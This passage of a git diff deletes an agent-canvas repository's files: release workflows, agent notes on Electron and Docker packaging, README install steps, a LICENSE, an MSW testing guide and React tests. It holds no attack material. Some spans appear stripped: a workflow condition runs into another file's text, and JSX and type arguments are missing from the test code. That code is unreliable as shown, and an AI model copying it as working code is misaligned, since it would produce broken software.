problem). Non-release pushes skip the wait entirely: release-please only - # upserts the release PR on those and never touches a tag. - await-required-checks: - runs-on: ubuntu-latest - permissions: - checks: read - steps: - - name: Wait for test-and-build (ubuntu) on the release commit - env: - GH_TOKEN: ${{ github.token }} - HEAD_MSG: ${{ github.event.head_commit.message }} - REQUIRED_CHECK: test-and-build (ubuntu) - COMMIT_SHA: ${{ github.sha }} - TIMEOUT_SECONDS: "2400" # 40 min > CI job timeout (25) + queue slack - POLL_SECONDS: "20" - run: | - set -euo pipefail - - # Only the release-PR-merge commit creates a tag, so only it needs to wait. - subject="${HEAD_MSG%%$'\n'*}" - case "$subject" in - chore\(*\):\ release\ *) : ;; # chore(main): release X.Y.Z / chore(release/1.2): release ... - *) - echo "::notice::'$subject' is not a release commit; release-please will only upsert the release PR. Not waiting." - exit 0 - ;; - esac - - echo "Release commit detected; waiting for '$REQUIRED_CHECK' to pass on $COMMIT_SHA." - deadline=$(( $(date +%s) + TIMEOUT_SECONDS )) - while :; do - # Newest check run with this exact name on this commit ("missing" until CI creates it). - state="$(gh api --method GET "repos/$GITHUB_REPOSITORY/commits/$COMMIT_SHA/check-runs" \ - -f per_page=100 \ - --jq '([.check_runs[] | select(.name == env.REQUIRED_CHECK)] | sort_by(.started_at) | last) as $r - | if $r == null then "missing none" else "\($r.status) \($r.conclusion // "none")" end')" - check_status="${state%% *}" - check_conclusion="${state#* }" - - case "$check_status" in - completed) - if [ "$check_conclusion" = "success" ]; then - echo "::notice::'$REQUIRED_CHECK' passed on $COMMIT_SHA." - exit 0 - fi - echo "::error::'$REQUIRED_CHECK' concluded '$check_conclusion' on $COMMIT_SHA; not releasing." - exit 1 - ;; - missing) echo "Check not created yet; waiting…" ;; - *) echo "Check status: $check_status; waiting…" ;; - esac - - if [ "$(date +%s)" -ge "$deadline" ]; then - echo "::error::Timed out after ${TIMEOUT_SECONDS}s waiting for '$REQUIRED_CHECK' on $COMMIT_SHA." - exit 1 - fi - sleep "$POLL_SECONDS" - done - - release-please: - needs: await-required-checks - permissions: - contents: write - pull-requests: write - # Required, not an optimization: release-please needs the org App token - # (RELEASE_APP_ID / RELEASE_APP_PRIVATE_KEY) so the release it creates fires - # `release: published` — a GITHUB_TOKEN release would be suppressed. - secrets: inherit - uses: OpenHands/release-actions/.github/workflows/release-please.yml@main diff --git a/.github/workflows/remove-duplicate-candidate-label.yml b/.github/workflows/remove-duplicate-candidate-label.yml deleted file mode 100644 index bb408414f..000000000 --- a/.github/workflows/remove-duplicate-candidate-label.yml +++ /dev/null @@ -1,31 +0,0 @@ ---- -name: Remove duplicate candidate label on activity - -on: - issue_comment: - types: [created] - -permissions: - issues: write - -concurrency: - group: remove-duplicate-${{ github.repository }}-${{ github.event.issue.number }} - cancel-in-progress: false - -jobs: - remove-duplicate-candidate: - if: | - github.event.issue.state == 'open' && - github.event.issue.pull_request == null && - contains(github.event.issue.labels.*.name, 'duplicate-candidate') && - github.event.comment.user.type != 'Bot' && - !startsWith(github.event.comment.body || '', '` / `` markers). The workflow triggers on push to main, `v*` tags (releases), PRs, and `workflow_dispatch`. On release tags it also pushes semver tags (e.g. `1.2.3`, `1.2`, `1`, `latest`). Fork PRs are skipped (no GHCR auth). On PRs that link an `OpenHands/software-agent-sdk` PR in the description, the Docker workflow uses that SDK PR's published branch image (`ghcr.io/openhands/agent-server:-python`) as the agent-server base image unless a `workflow_dispatch` input explicitly overrides it. The image exposes port 8000 as a unified entry point: `/api/automation/*` → automation (:18001), `/api/*` → agent-server (:18000), `/*` → static frontend. The Dockerfile accepts the public `VITE_POSTHOG_API_KEY` build arg; CI passes staging for PR/main images and production for tagged releases. The npm release workflow passes the same production key to both the app and library builds. The entrypoint auto-generates **both** the session API key and `OH_SECRET_KEY` (persisted to `~/.openhands/agent-canvas/session-api-key.txt` and `secret-key.txt` respectively) when none is provided, so the image runs secure by default. Users can override either via env var (`OH_SECRET_KEY`, `SESSION_API_KEY` / `OH_SESSION_API_KEYS_0`). `scripts/dev-safe.mjs` uses the same `secret-key.txt` file, so dev mode and Docker share the same key when both use the same `~/.openhands` directory. - -- Spec files live under `specs/`. Spec IDs are stable — never renumber. Mark deprecated specs with ~~strikethrough~~. Tag implementation code and tests with `// @spec BM-002 — Short title` comments so specs are grep-able across the codebase (`grep -rn '@spec BM-' src/ __tests__/`). Place the comment on the line immediately above the relevant code block or test. When multiple tests cover the same spec, use `it.each` if the test structure is identical. - -- Release automation is trunk-based through release-please. Follow `.agents/skills/release.md` for the current process. - -- Electron desktop app (`npm run desktop` for dev / `npm run build:desktop` for the binary) starts the same stack as `dev-with-automation.mjs` but inside an Electron BrowserWindow. Two gotchas live here: - - 1. **Boot race vs. agent-server cold start**: `dev-with-automation.mjs` is a fire-and-forget launcher — `main()` previously returned as soon as `waitForService` saw the ingress proxy respond on `/api/health`, but ingress responds immediately while the agent-server behind it can still be downloading via `uvx` (first run pulls ~50 MB of Python + the SDK from PyPI, easily 30–90s). `electron/main.mjs` used to load the URL as soon as the proxy responded, so the React app booted, called `/server_info`, and got the "Request timeout" popup. Fix: `main()` now accepts an `agentServerReadyTimeoutMs` option and returns `{ config, agentServerReady }`; `electron/main.mjs` runs a two-stage wait — Stage 1 (`waitForUrl`) confirms the ingress proxy is up, Stage 2 (`waitForAgentServer`) hits `${ingress}/server_info` and only accepts `200` (or `401`, which proves the proxy reached a real agent-server) before the BrowserWindow loads. Don't shorten the agent-server timeout below ~3 min — uvx cold start on slow connections genuinely takes that long. - - 2. **First-run feedback loop**: `dev-with-automation.mjs::setServiceLogListener(cb)` exposes a workspace-wide hook that fires `cb(name, line, level)` for every line of every child-process stdout/stderr/exit. `electron/main.mjs::handleServiceLog` filters for uvx install lines (`Downloading...`, `Resolved N packages...`, etc.) plus agent-server boot markers and forwards them to `loading.html` via `setLoadingStatus()` → `window.__setLoadingStatus()`. The hook is best-effort and swallows listener errors — a buggy embedder must not be able to take down the dev stack. - -- Electron desktop packaging — `electron-builder.config.mjs` uses `directories.app: "electron"` so electron/package.json is the app manifest. Even though electron/package.json has zero `dependencies`, app-builder-lib's `collectNodeModulesWithLogging` walks UP from the app dir looking for the first npm workspace that resolves modules. The next dir in line is the project root, where `npm list --json` reports the full hoisted tree (~342 dirs, ~600 MB of Vite/React/Monaco/HeroUI), and electron-builder copies all of it into `Resources/app/node_modules/`. The walk is hardcoded in `app-builder-lib/out/util/appFileCopier.js::collectNodeModulesWithLogging` — there is no config knob to disable it. Creating an empty `electron/node_modules/` does NOT help because the collector falls through to project root when it sees zero deps. **The fix is the `afterPack` hook** (`stripBundledNodeModules` in `electron-builder.config.mjs`): after electron-builder copies everything, the hook `rm -rf`s `Resources/app/node_modules/` (handling macOS `.app` bundle layout and Linux/Windows flat resources/ layout), then copies back the dependency closure of `RUNTIME_PACKAGES` (`sirv` for static-server.mjs, `httpxy` for proxy-utils.mjs/ingress.mjs — ~200 KB total). Effect: `resources/app/` drops from ~598 MB to ~7 MB; total `linux-unpacked/` from ~1 GB to ~365 MB (the rest is Electron + Chromium + the bundled `uv` binary). If a spawned backend script gains a new bare npm import, add the package to `RUNTIME_PACKAGES` — otherwise that service crashes with `ERR_MODULE_NOT_FOUND` only in the installed app. **Testing trap:** an app launched from `dist-electron/` inside the repo resolves bare specifiers against the repo's own `node_modules` (Node ESM resolution walks up from the script file), so a missing runtime package is invisible there — verify packaged builds from a copy outside the repo tree (e.g. `/Applications`). Don't add real deps to electron/package.json — any real dep would survive the strip and would also have to be hand-installed inside electron/ since the project root is npm-hoisted. `build:desktop:universal` and `--linux/--win/--mac` variants all run the same hook. - -- Electron desktop `node` / `npm` / `npx` PATH bridging — when the packaged `.app` is launched from Finder/Spotlight on macOS, the OS gives it a minimal PATH (`/usr/bin:/bin`). Homebrew, nvm, asdf installs of Node.js are invisible to spawned subprocesses. Two breakages flow from that: (1) backend launcher scripts that do `spawn("node", ...)` can't find Node; (2) most stdio MCP marketplace entries (Slack, GitHub, Figma, etc.) use `command: "npx"`, and when the agent-server tries to spawn them the missing `npx` makes the spawn fail with ENOENT — the SDK reports it as an `error_kind: "connection"` MCP test failure, which the install modal renders as `MCP$TEST_ERROR_CONNECTION` ("Could not reach the server. Check the URL and server type."), a misleading error since no URL is involved. **First fix attempt — DOES NOT WORK for stdio MCPs:** wrap `node`/`npm`/`npx` with thin shell scripts that run Electron with `ELECTRON_RUN_AS_NODE=1` against the package's CLI JS. That bridges the ENOENT but stdio JSON-RPC servers spawned through the wrapper exit with `McpError: Connection closed` before completing the MCP handshake — Electron-as-Node has subtly different stdin/stdout pipe semantics from a vanilla `node` binary when used as a stdio child of a windowed process. **Working fix:** bundle the real Node.js distribution. `scripts/download-node.mjs` downloads the official `node-v--` tarball from `https://nodejs.org/dist/v/` into `resources/node/` (gitignored), prunes `include/`, `share/`, docs, and `node_modules/corepack` to keep the size down (~130 MB on Linux x64, dominated by the Node binary itself). Default pin: `NODE_BUNDLE_VERSION = "22.12.0"` (the repo's `engines.node` floor; every 22.x build shares the Electron 42 ABI); override with `NODE_VERSION=`. `electron-builder.config.mjs` ships `resources/node/` as an extraResource → `/node/`. `electron/main.mjs::injectBundledNode()` prepends the platform-appropriate bin dir to `PATH` (POSIX: `/node/bin`; Windows: `/node/`) so subsequent spawns of `node`/`npm`/`npx` resolve to real binaries with full stdio fidelity. It also `chmod +x`'s the binaries on POSIX because electron-builder doesn't always preserve the bit. `injectBundledNode()` is a no-op when `!app.isPackaged` (dev `npm run desktop` uses the developer's system node). `build:desktop` and `build:desktop:universal` both run `download-node.mjs` after `download-uv.mjs`. If the bundled dir is missing at runtime, `injectBundledNode()` logs a loud `[desktop]` warning instead of silently leaving PATH bare. - -- Cloud conversation resume gating: when a cloud conversation is closed from the UI (`pauseCloudSandbox` is called), the conversation's `conversation_url` is NOT cleared -- it still points to the old sandbox host. `WebSocketProviderWrapper` must suppress the URL (pass `null` to `ConversationWebSocketProvider`) while `sandbox_status === "PAUSED"`, otherwise the WebSocket immediately tries the stale URL before the sandbox wakes. Symmetrically, `useActiveConversation`'s refetch interval must fast-poll (3 s) on both `!conversation_url` AND `sandbox_status === "PAUSED"` -- checking only the missing URL would leave the hook on the 30 s interval while the sandbox is resuming. The resume sequence: navigate -> sandbox PAUSED detected -> `resumeCloudSandbox` called (in `conversation.tsx`) -> fast-poll detects RUNNING -> `conversationUrl` unblocked -> WebSocket connects. diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index 6c0540790..000000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,29 +0,0 @@ -# Changelog - -All notable changes to this project will be documented in this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), -and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - -## [Unreleased] - -## [1.0.0-alpha.2] - 2025-05-11 - -### Added - -- Initial npm package release of `@openhands/agent-canvas` -- CLI entry point (`npx @openhands/agent-canvas`) to run full stack locally -- Library build mode with component barrel exports -- Subpath exports for modular imports: - - `@openhands/agent-canvas/browser` - - `@openhands/agent-canvas/conversation` - - `@openhands/agent-canvas/files` - - `@openhands/agent-canvas/settings` - - `@openhands/agent-canvas/sidebar` - - `@openhands/agent-canvas/terminal` - - `@openhands/agent-canvas/i18n` -- TypeScript type declarations -- GitHub Actions workflow for automated npm publishing (OIDC trusted publishing) - -[Unreleased]: https://github.com/OpenHands/agent-canvas/compare/v1.0.0-alpha.2...HEAD -[1.0.0-alpha.2]: https://github.com/OpenHands/agent-canvas/releases/tag/v1.0.0-alpha.2 diff --git a/LICENSE b/LICENSE deleted file mode 100644 index f6f60f523..000000000 --- a/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright © 2025 OpenHands contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the “Software”), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/README.md b/README.md index 060cf7699..20eefb345 100644 --- a/README.md +++ b/README.md @@ -1,144 +1 @@ - - -
- OpenHands logo -

Agent Canvas

-

- The self-hosted developer control center for coding agents and automations. -

-

- Run OpenHands, Claude Code, Codex, Gemini, or any ACP-compatible agent across local, remote, and cloud backends. -

-
-
- Project status beta - CI status - npm version - Documentation - Join us on Slack -
- -

- Agent Canvas automation preview -

-
- -OpenHands Agent Canvas turns your coding agents into a self-hosted, always-on engineering team. It's a developer control center for starting conversations and automating everyday tasks — like generating reports that publish to Slack or automatically decomposing GitHub issues into tasks. - -It runs locally on your machine by default, but can connect to multiple “agent backends”, e.g. running agents in Docker containers, on VMs, or within your company infrastructure. You can optionally choose to run agents on OpenHands Cloud or OpenHands Enterprise infrastructure. - -Agent Canvas runs the open source OpenHands agent out-of-the-box, but can use any third-party agent like Claude Code and Codex. - -| | | -| -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | -| [**Self-host your way**](https://docs.openhands.dev/openhands/usage/agent-canvas/backend-setup/vm) | Run agents locally, in Docker, on VMs, or anywhere you can run an agent server backend | -| [**Switch between different backends**](https://docs.openhands.dev/openhands/usage/agent-canvas/backends) | Switch between local, remote, and cloud agents without losing focus | -| [**Create automations**](https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt-automations) | Create automations and workflows that integrate with Slack, GitHub, Linear, and more. Run on a schedule or in response to webhook events | -| [**Integrate with the tools you use**](https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt-automations) | Connect your automations with third-party services like Slack, GitHub, Notion, and more to automate workflows | -| [**Bring your own model**](https://docs.openhands.dev/openhands/usage/settings/llm-settings#llm-profiles) | Use with any LLM | -| [**Use with any agent**](https://docs.openhands.dev/openhands/usage/agent-canvas/acp-agents) | Use with OpenHands, Claude Code, Codex, Gemini, or any agent with Agent-Client Protocol (ACP). | - -If you have questions or feedback, please open a GitHub issue or join the [#proj-agent-canvas channel in Slack](https://openhands.dev/joinslack). - -## Quickstart - -You can install OpenHands to run agents on any machine: on your laptop, on a dedicated computer like a Mac Mini, -or on a server in the cloud. - -The most powerful way to run OpenHands is on a server in the cloud. This allows your agents to continue running -even when your laptop is shut, and makes it easier to trigger your agents through third-party services -like Slack, GitHub, and Datadog. See [SELF_HOSTING.md](docs/SELF_HOSTING.md) for details, especially with respect to security hardening. - -Notably, you can run the backend in _multiple different environments_, and switch between -them from the same Agent Canvas frontend. E.g. you can share an Agent Server with your team for agents doing -code review and dependency updates, then have your personal agents running on your laptop. - -### Option 1: Without a Sandbox - -> [!WARNING] -> This runs the agent-server directly on the machine you're installing on — the agent will have full access to your filesystem! - -**Prerequisites**: Node.js 22.12.x or later, `uv` - -```sh -npm install -g @openhands/agent-canvas -agent-canvas -``` - -The `agent-canvas` command starts the full local stack by default. You can also split it when you want to run pieces separately: - -```sh -agent-canvas --frontend-only # static frontend + ingress only -agent-canvas --backend-only # agent server + automation backend + ingress only -``` - -### Option 2: With a Docker Sandbox - -**Prerequisites**: - -- Docker: Docker Desktop on macOS/Windows, or Docker Engine/Docker Desktop on Linux. -- A host directory for `PROJECTS_PATH` containing the project folders you want the agent to access. Create it before starting the container. - -**macOS / Linux:** - -```sh -export PROJECTS_PATH="$HOME/projects" # directory containing your project folders -mkdir -p "$PROJECTS_PATH" "$HOME/.openhands" - -docker run -it --rm \ - -p 8000:8000 \ - -v "$HOME/.openhands:/home/openhands/.openhands" \ - -v "${PROJECTS_PATH}:/projects" \ - ghcr.io/openhands/agent-canvas:1.6.1 # x-release-please-version -``` - -**Windows (PowerShell / Windows Terminal):** See [README.windows.md](./README.windows.md) for the equivalent commands. - -The agent will be able to access any project under `PROJECTS_PATH`. - -### Option 3: From Source - -> [!WARNING] -> This runs the agent-server directly on the machine you're installing on — the agent will have full access to your filesystem! - -**Prerequisites**: Node.js 22.12.x or later, `npm`, `uv` (for running the agent server via `uvx`) - -```sh -git clone https://github.com/OpenHands/agent-canvas.git -cd agent-canvas -npm install -npm run dev -``` - ---- - -Access the UI at [http://localhost:8000](http://localhost:8000) for the npm/source launchers, or [http://localhost:8000/canvas](http://localhost:8000/canvas) for the Docker image. You can add additional backends directly from the UI. - -# Architecture - -Agent Canvas is powered by the [OpenHands Agent Server](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-agent-server/openhands/agent_server), a REST API for running multiple agents on a single machine. Each Agent Server runs on a single host/port; the Agent Canvas can connect to multiple Agent Servers and easily flip between them. - -You can run an Agent Server anywhere: - -- Directly on your laptop (be careful!) -- On a dedicated machine like a Mac Mini -- On a virtual machine in the cloud -- Inside OpenHands Cloud (our commercial offering) - -The Agent Server is often paired with an [Automation Server](https://github.com/OpenHands/automation), which lets you set up agents that run on a schedule or in response to events. - -image - -## More documentation - -- [Documentation index](./docs/README.md) -- [Architecture overview](./docs/architecture.md) -- [Development guide](./docs/DEVELOPMENT.md) -- [Self-hosting guide](./docs/SELF_HOSTING.md) +The OpenHands Agent Canvas has been moved to https://github.com/OpenHands/OpenHands. diff --git a/README.windows.md b/README.windows.md deleted file mode 100644 index 793cc1d49..000000000 --- a/README.windows.md +++ /dev/null @@ -1,29 +0,0 @@ -# Windows quickstart (PowerShell) - -This doc contains **Windows-specific** command syntax for running Agent Canvas with the **Docker sandbox**. - -For the main install options and overall context, see [README.md](./README.md). - -## Option 2: With a Docker Sandbox (Windows) - -**Prerequisites**: - -- Docker Desktop for Windows -- A host directory for `PROJECTS_PATH` containing the project folders you want the agent to access (create it before starting the container) - -```powershell -docker pull ghcr.io/openhands/agent-canvas:1.6.1 # x-release-please-version - -$env:PROJECTS_PATH = Join-Path $HOME "projects" # directory containing your project folders -New-Item -ItemType Directory -Force -Path $env:PROJECTS_PATH, (Join-Path $env:USERPROFILE ".openhands") | Out-Null - -docker run -it --rm ` - -p 8000:8000 ` - -v "$($env:USERPROFILE)\.openhands:/home/openhands/.openhands" ` - -v "$($env:PROJECTS_PATH):/projects" ` - ghcr.io/openhands/agent-canvas:1.6.1 # x-release-please-version -``` - -Open [http://localhost:8000/canvas](http://localhost:8000/canvas) in your browser. - -The agent will be able to access any project under `PROJECTS_PATH`. diff --git a/__mocks__/zustand.ts b/__mocks__/zustand.ts deleted file mode 100644 index f3c3e443b..000000000 --- a/__mocks__/zustand.ts +++ /dev/null @@ -1,60 +0,0 @@ -import { act } from "@testing-library/react"; -import { vi, afterEach } from "vitest"; -import type * as ZustandExportedTypes from "zustand"; - -export * from "zustand"; - -const { create: actualCreate, createStore: actualCreateStore } = - await vi.importActual("zustand"); - -// a variable to hold reset functions for all stores declared in the app -export const storeResetFns = new Set<() => void>(); - -const createUncurried = ( - stateCreator: ZustandExportedTypes.StateCreator, -) => { - const store = actualCreate(stateCreator); - const initialState = store.getInitialState(); - storeResetFns.add(() => { - store.setState(initialState, true); - }); - return store; -}; - -// when creating a store, we get its initial state, create a reset function and add it in the set -export const create = (( - stateCreator: ZustandExportedTypes.StateCreator, -) => - // to support curried version of create - typeof stateCreator === "function" - ? createUncurried(stateCreator) - : createUncurried) as typeof ZustandExportedTypes.create; - -const createStoreUncurried = ( - stateCreator: ZustandExportedTypes.StateCreator, -) => { - const store = actualCreateStore(stateCreator); - const initialState = store.getInitialState(); - storeResetFns.add(() => { - store.setState(initialState, true); - }); - return store; -}; - -// when creating a store, we get its initial state, create a reset function and add it in the set -export const createStore = (( - stateCreator: ZustandExportedTypes.StateCreator, -) => - // to support curried version of createStore - typeof stateCreator === "function" - ? createStoreUncurried(stateCreator) - : createStoreUncurried) as typeof ZustandExportedTypes.createStore; - -// reset all stores after each test run -afterEach(() => { - act(() => { - storeResetFns.forEach((resetFn) => { - resetFn(); - }); - }); -}); diff --git a/__tests__/MSW.md b/__tests__/MSW.md deleted file mode 100644 index 8cd0afb5f..000000000 --- a/__tests__/MSW.md +++ /dev/null @@ -1,134 +0,0 @@ -# Mock Service Worker (MSW) Guide - -## Overview - -[Mock Service Worker (MSW)](https://mswjs.io/) is an API mocking library that intercepts outgoing network requests at the network level. Unlike traditional mocking that patches `fetch` or `axios`, MSW uses a Service Worker in the browser and direct request interception in Node.js—making mocks transparent to your application code. - -We use MSW in this project for: -- **Testing**: Write reliable unit and integration tests without real network calls -- **Development**: Run the frontend with mocked APIs when the backend isn't available or when working on features with pending backend APIs - -The same mock handlers work in both environments, so you write them once and reuse everywhere. - -## Relevant Files - -- `src/mocks/handlers.ts` - Main handler registry that combines all domain handlers -- `src/mocks/*-handlers.ts` - Domain-specific handlers (auth, conversation, etc.) -- `src/mocks/browser.ts` - Browser setup for development mode -- `src/mocks/node.ts` - Node.js setup for tests -- `vitest.setup.ts` - Global test setup with MSW lifecycle hooks - -## Development Workflow - -### Running with Mocked APIs - -```sh -# Run with API mocking enabled -npm run dev:mock -``` - -This command sets `VITE_MOCK_API=true` which activates the MSW Service Worker to intercept requests. - - -## Writing Tests - -### Service Layer Mocking (Recommended) - -For most tests, mock at the service layer using `vi.spyOn`. This approach is explicit, test-scoped, and makes the scenario being tested clear. - -```typescript -import { vi } from "vitest"; -import SettingsService from "#/api/settings-service/settings-service.api"; - -const getSettingsSpy = vi.spyOn(SettingsService, "getSettings"); -getSettingsSpy.mockResolvedValue({ - llm_model: "openai/gpt-4o", - llm_api_key_set: true, - // ... other settings -}); -``` - -Use `mockResolvedValue` for success scenarios and `mockRejectedValue` for error scenarios: - -```typescript -getSettingsSpy.mockRejectedValue(new Error("Failed to fetch settings")); -``` - -### Network Layer Mocking (Advanced) - -For tests that need actual network-level behavior (WebSockets, testing retry logic, etc.), use `server.use()` to override handlers per test. - -> [!IMPORTANT] -> **Reuse the global server instance** - Don't create new `setupServer()` calls in individual tests. The project already has a global MSW server configured in `vitest.setup.ts` that handles lifecycle (`server.listen()`, `server.resetHandlers()`, `server.close()`). Use `server.use()` to add runtime handlers for specific test scenarios. - -```typescript -import { http, HttpResponse } from "msw"; -import { server } from "#/mocks/node"; - -it("should handle server errors", async () => { - server.use( - http.get("/api/my-endpoint", () => { - return new HttpResponse(null, { status: 500 }); - }), - ); - // ... test code -}); -``` - -For WebSocket testing, see `__tests__/helpers/msw-websocket-setup.ts` for utilities. - -## Adding New API Mocks - -When adding new API endpoints, create mocks in both places to maintain 1:1 similarity with the backend: - -### 1. Add to `src/mocks/` (for development) - -Create or update a domain-specific handler file: - -```typescript -// src/mocks/my-feature-handlers.ts -import { http, HttpResponse } from "msw"; - -export const MY_FEATURE_HANDLERS = [ - http.get("/api/my-feature", () => { - return HttpResponse.json({ - data: "mock response", - }); - }), -]; -``` - -Register in `handlers.ts`: - -```typescript -import { MY_FEATURE_HANDLERS } from "./my-feature-handlers"; - -export const handlers = [ - // ... existing handlers - ...MY_FEATURE_HANDLERS, -]; -``` - -### 2. Mock in tests for specific scenarios - -In your test files, spy on the service method to control responses per test case: - -```typescript -import { vi } from "vitest"; -import MyFeatureService from "#/api/my-feature-service.api"; - -const spy = vi.spyOn(MyFeatureService, "getData"); -spy.mockResolvedValue({ data: "test-specific response" }); -``` - -See `__tests__/routes/llm-settings.test.tsx` for a real-world example of service layer mocking. - -> [!TIP] -> For guidance on creating service APIs, see `src/api/README.md`. - -## Best Practices - -- **Keep mocks close to real API contracts** - Update mocks when backend changes -- **Use service layer mocking for most tests** - It's simpler and more explicit -- **Reserve network layer mocking for integration tests** - WebSockets, retry logic, etc. -- **Export mock data from handler files** - Reuse in tests (e.g., `MOCK_DEFAULT_USER_SETTINGS`) diff --git a/__tests__/agent-server-ui-providers.test.tsx b/__tests__/agent-server-ui-providers.test.tsx deleted file mode 100644 index e303a146b..000000000 --- a/__tests__/agent-server-ui-providers.test.tsx +++ /dev/null @@ -1,279 +0,0 @@ -import React from "react"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { cleanup, render, screen, waitFor } from "@testing-library/react"; -import { QueryClient, useQueryClient } from "@tanstack/react-query"; -import { createInstance } from "i18next"; -import { initReactI18next, useTranslation } from "react-i18next"; - -vi.mock("react-i18next", async (importOriginal) => - importOriginal(), -); - -import { - AGENT_SERVER_UI_SCOPE_SELECTOR, - AgentServerUIRoot, - AgentServerUIProviders, - OPENHANDS_I18N_NAMESPACE, - getDefaultI18n, - getDefaultQueryClient, - getI18n, - getQueryClient, - queryClient, - setI18n, - setQueryClient, -} from "#/index"; -import i18n from "#/i18n"; - -const telemetryProviderMock = vi.hoisted(() => vi.fn()); -vi.mock("#/components/providers/telemetry-provider", () => ({ - TelemetryProvider: (props: { - children: React.ReactNode; - config?: unknown; - }) => { - telemetryProviderMock(props); - return props.children; - }, -})); - -const BaseProbe = ({ translation }: { translation?: string }) => { - const currentQueryClient = useQueryClient(); - - return ( -
-
- {currentQueryClient === getDefaultQueryClient() ? "default" : "custom"} -
-
- {String(queryClient.getQueryData(["provider-probe"]))} -
- {translation &&
{translation}
} -
- {i18n.t("PROVIDER$LABEL")} -
-
- ); -}; - -const DefaultProbe = () => ; - -const CustomProbe = () => { - const { t } = useTranslation(OPENHANDS_I18N_NAMESPACE); - - return ; -}; - -const createTestI18n = async (value: string) => { - const instance = createInstance(); - - await instance.use(initReactI18next).init({ - lng: "en", - fallbackLng: "en", - ns: ["host", OPENHANDS_I18N_NAMESPACE], - defaultNS: "host", - interpolation: { escapeValue: false }, - resources: { - en: { - host: { - PROVIDER$LABEL: "Host provider", - }, - [OPENHANDS_I18N_NAMESPACE]: { - PROVIDER$LABEL: value, - }, - }, - }, - }); - - return instance; -}; - -afterEach(() => { - cleanup(); - getDefaultQueryClient().removeQueries({ queryKey: ["provider-probe"] }); - setQueryClient(); - setI18n(); - vi.restoreAllMocks(); -}); - -describe("AgentServerUIProviders", () => { - it("exports and uses the default query client and i18n instances when props are omitted", async () => { - const defaultI18n = getDefaultI18n(); - - defaultI18n.addResourceBundle( - "en", - OPENHANDS_I18N_NAMESPACE, - { PROVIDER$LABEL: "Default provider" }, - true, - true, - ); - await defaultI18n.changeLanguage("en"); - - getDefaultQueryClient().setQueryData(["provider-probe"], "default-client"); - - render( - - - , - ); - - expect(screen.getByTestId("query-client-kind")).toHaveTextContent( - "default", - ); - expect(screen.getByTestId("query-client-value")).toHaveTextContent( - "default-client", - ); - - await waitFor(() => { - expect( - screen.getByTestId("imperative-translation-value"), - ).toHaveTextContent("Default provider"); - }); - - expect(getQueryClient()).toBe(getDefaultQueryClient()); - }); - - it("injects a custom query client and i18n instance without conflicting with imperative callers", async () => { - const customQueryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - }, - }); - const customI18n = await createTestI18n("Custom provider"); - - customQueryClient.setQueryData(["provider-probe"], "custom-client"); - - const view = render( - - - , - ); - - expect(screen.getByTestId("query-client-kind")).toHaveTextContent("custom"); - expect(screen.getByTestId("query-client-value")).toHaveTextContent( - "custom-client", - ); - - await waitFor(() => { - expect(screen.getByTestId("translation-value")).toHaveTextContent( - "Custom provider", - ); - expect( - screen.getByTestId("imperative-translation-value"), - ).toHaveTextContent("Custom provider"); - }); - - expect(getQueryClient()).toBe(customQueryClient); - expect(getI18n()).toBe(customI18n); - - view.unmount(); - - expect(getQueryClient()).toBe(getDefaultQueryClient()); - expect(getI18n()).toBe(getDefaultI18n()); - }); - - it("passes disabled and runtime analytics configuration to TelemetryProvider", () => { - telemetryProviderMock.mockClear(); - - const noAnalyticsView = render( - -
child
-
, - ); - - expect(screen.getByTestId("child")).toHaveTextContent("child"); - expect(telemetryProviderMock).toHaveBeenCalledWith( - expect.objectContaining({ config: false }), - ); - - noAnalyticsView.unmount(); - telemetryProviderMock.mockClear(); - - const analytics = { - provider: "posthog" as const, - apiKey: "phc_embedded", - apiHost: "https://events.example.com", - uiHost: "https://posthog.example.com", - }; - - render( - -
child
-
, - ); - - expect(telemetryProviderMock).toHaveBeenCalledWith( - expect.objectContaining({ - config: { - apiKey: analytics.apiKey, - apiHost: analytics.apiHost, - uiHost: analytics.uiHost, - }, - }), - ); - }); - - it("wraps children in a scoped, customizable style root by default", () => { - const { unmount } = render( - -
child
-
, - ); - - const scopeRoot = document.querySelector( - AGENT_SERVER_UI_SCOPE_SELECTOR, - ); - - expect(scopeRoot).toBeInTheDocument(); - expect(scopeRoot?.style.getPropertyValue("--oh-color-base")).toBe( - "#010203", - ); - - const themedContainer = - scopeRoot?.firstElementChild as HTMLDivElement | null; - expect(themedContainer).toHaveAttribute("data-theme", "dark"); - expect(themedContainer).toHaveClass("dark", "min-h-screen"); - expect(themedContainer).toContainElement( - screen.getByTestId("styled-child"), - ); - - unmount(); - - render( - -
child
-
, - ); - - expect(document.querySelector(AGENT_SERVER_UI_SCOPE_SELECTOR)).toBeNull(); - }); - - it("exposes a standalone style root for host-controlled customization", () => { - render( - -
child
-
